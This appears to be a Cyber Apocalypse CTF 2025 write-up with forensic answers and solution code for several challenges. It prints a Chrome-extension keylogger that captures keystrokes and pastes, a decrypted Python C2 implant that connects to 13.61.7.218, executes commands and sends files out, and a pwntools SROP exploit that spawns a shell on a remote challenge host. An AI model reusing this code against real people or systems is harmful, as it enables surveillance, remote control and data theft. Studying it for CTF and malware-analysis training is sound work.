Cyber Apocalypse CTF 2025 Writeup

enc = r"IUC|t2nqm4`gm5h`5s2uin4u2d~"
flag = ""
for i in range(len(enc)):
    flag += chr(ord(enc[i]) - 1)

print(flag)

# HTB{s1mpl3_fl4g_4r1thm3t1c}

readelf -a ELF memdump.elf

vol -f memdump.elf windows.info

vol -f memdump.elf windows.cmdline.CmdLine

# 1. What is the PID of the Original (First) Google Chrome process:
4080	chrome.exe	"C:\Program Files\Google\Chrome\Application\chrome.exe"

# 2. What is the only Folder on the Desktop
malext

# 3. What is the Extention's ID (ex: hlkenndednhfkekhgcdicdfddnkalmdm)
nnjofihdjilebhiiemfmdlpbdkbjcpae

vol -o /tmp -f memdump.elf windows.dumpfiles.DumpFiles --virtaddr 0xa708c8d9ec30
vol -o /tmp -f memdump.elf windows.dumpfiles.DumpFiles --virtaddr 0xa708c8da1e30

var conn = chrome.runtime.connect({ name: "conn" });

chrome.runtime.sendMessage('update');

(async () => {
    const response = await chrome.runtime.sendMessage({ check: "replace_html" });
    console.log(response)
})();

chrome.runtime.sendMessage('replace_html', (response) => {
    conn.postMessage({ "type": "check", "data": "replace_html" });
});

document.addEventListener("keydown", (event) => {
    const key = event.key;
    conn.postMessage({ "type": "key", "data": key });
    return true;
});


document.addEventListener("paste", (event) => {
    let paste = event.clipboardData.getData("text/plain");
    conn.postMessage({ "type": "paste", "data": paste });
    return true;
});


function addLog(s) {
    
    if (s.length != 1 && s !== "Enter" && !s.startsWith("PASTE"))  {
        s = `|${s}|`;
    } else if (s === "Enter" || s.startsWith("PASTE")) {
        s = s + "\r\n";
    }

    chrome.storage.local.get(["log"]).then((data) => {
        if (!data.log) {
            data.log = "";
        }

        data.log += s;

        chrome.storage.local.set({ 'log': data.log });
    });
}


chrome.runtime.onConnect.addListener((port) => {

    console.assert(port.name === "conn");
    console.log("v1.2.1");

    port.onMessage.addListener( ({ type, data }) => {
        if (type === 'key') {
            addLog(data);
        } else if (type == 'paste') {
            addLog('PASTE:' + data);
        }
    });
});

chrome.runtime.onMessage.addListener(
    function(request, sender, sendResponse) {
        if (request.check === "replace_html" && chrome.storage.local.get("replace_html")) {
            sendResponse({ url: chrome.storage.local.get('replace_html_url')});
        }
    }
);

# 4. After examining the malicious extention's code, what is the log filename in which the datais stored
000003.log

# 5. What is the URL the user navigated to
drive.google.com

# 6. What is the password of selene@rangers.eldoria.com
clip-mummify-proofs

# 1. What is the IP address responsible for compromising the website?
194.59.6.66

# 2. What is the name of the endpoint exploited by the attacker?
execute

sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt install python3.13-full
python3.13 -m ensurepip --upgrade

import marshal
import bz2
import dis

payload = (b"<payload>")
payload = payload.decode('unicode_escape').encode('latin1')

dec = bz2.decompress(payload)
print(dec)

# marshal.loads を行うためには Python のバージョンを合わせる必要がある
code_obj = marshal.loads(dec)
print(code_obj)

dis.dis(code_obj)

# 3. What is the name of the obfuscation tool used by the attacker?
Py-Fuscate

import os
import socket
import threading
import time
import random
import string
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

BUFFER_SIZE = 4096
SEPARATOR = "<SEPARATOR>"
CONN = True

# AES暗号化関数
def enc_mes(mes, key):
    cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
    cypher_block = 16
    if type(mes) != bytes:
        mes = mes.encode()
    return cypher.encrypt(pad(mes, cypher_block))

# AES復号化関数
def dec_mes(mes, key):
    if mes == b'':
        return mes
    cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
    cypher_block = 16
    return unpad(cypher.decrypt(mes), cypher_block)

# ファイルを受信する関数
def receive_file():
    client2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client2.connect(('13.61.7.218', 54163))

    k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
    client2.send(k.encode())

    enc_received = client2.recv(BUFFER_SIZE)
    received = dec_mes(enc_received, k).decode()

    filename, filesize = received.split(SEPARATOR)

    ok_enc = enc_mes('ok2', k)
    client2.send(ok_enc)

    total_bytes = 0
    msg = b''

    while total_bytes < int(filesize):
        bytes_read = client2.recv(BUFFER_SIZE)
        msg += bytes_read
        total_bytes += len(bytes_read)

    decr_file = dec_mes(msg, k)

    with open(filename, 'wb') as f:
        f.write(decr_file)

    client2.close()

# 攻撃者からの命令を待つメイン関数
def receive(client, k):
    while True:
        msg = client.recv(1024)
        msg = dec_mes(msg, k)
        message = msg.decode()

        if msg == b'':
            time.sleep(10)
            continue

        if message == "check":
            enc_answ = enc_mes("check-ok", k)
            client.send(enc_answ)

        elif message == "send_file":
            threading.Thread(target=receive_file).start()

        elif message == "get_file":
            okenc = enc_mes("ok", k)
            client.send(okenc)

            path_to_file = dec_mes(client.recv(1024), k)

            with open(path_to_file, 'rb') as f:
                bytes_read = f.read()

            bytes_enc = enc_mes(bytes_read, k)
            filesize = enc_mes(str(len(bytes_enc)), k)

            client.send(filesize)
            vsb = dec_mes(client.recv(1024), k)
            client.sendall(bytes_enc)

        elif message not in (None, '', '\n'):
            answer = os.popen(message).read()

            if answer.encode() == b'':
                client.send("Bad command!".encode("ascii"))
                continue

            enc_answer = enc_mes(answer, k)
            size = str(len(enc_answer))

            client.send(size.encode())

            ch = client.recv(1024).decode()
            if ch == 'ok':
                client.sendall(enc_answer)

# メイン処理
if __name__ == "__main__":
    while True:
        try:
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client.connect(('13.61.7.218', 55155))

            user = os.popen('whoami').read()
            k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))

            client.send(f"{user}{SEPARATOR}{k}".encode())
            client.settimeout(600)

            receive_thread = threading.Thread(target=receive, args=(client, k))
            receive_thread.start()

        except:
            time.sleep(50)

# 4. What is the IP address and port used by the malware to establish a connection with the Command and Control (C2) server?
13.61.7.218

# 5. What encryption key did the attacker use to secure the data?
5UUfizsRsP7oOCAq

with open("download.dat", "rb") as f:
    data = f.read()

key = "5UUfizsRsP7oOCAq"

with open("ans", "wb") as f:
    f.write(dec_mes(data,key))
    # 8fde053c8e79cf7e03599d559f90b321

# 6, What is the MD5 hash of the file exfiltrated by the attacker?
8fde053c8e79cf7e03599d559f90b321

# Srop
frame     = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = binsh           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = rop.syscall[0]

from pwn import *

# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "sp", "-s", ".75", "-d", ".", "wsl.exe", '-d', "Ubuntu", "bash", "-c"]

# Set gdb script
gdbscript = f"""
b *0x43017
continue
"""

# Set target
TARGET_PATH = "./laconic"
exe = ELF(TARGET_PATH)

# Run program
is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    # target = process(TARGET_PATH)
    target = remote("83.136.253.184", 51762, ssl=False)

# Exploit
binsh = 0x43238
frame     = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = binsh           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = 0x43015         # ROP syscall

payload = flat(
    b"\x00"*8,
    0x43018,    # pop rax ; ret
    0xf,        # rt_sigreturn
    0x43015,    # ROP syscall
    frame       # SigreturnFrame
)
target.send(payload)

# Finish exploit
target.interactive()
target.clean()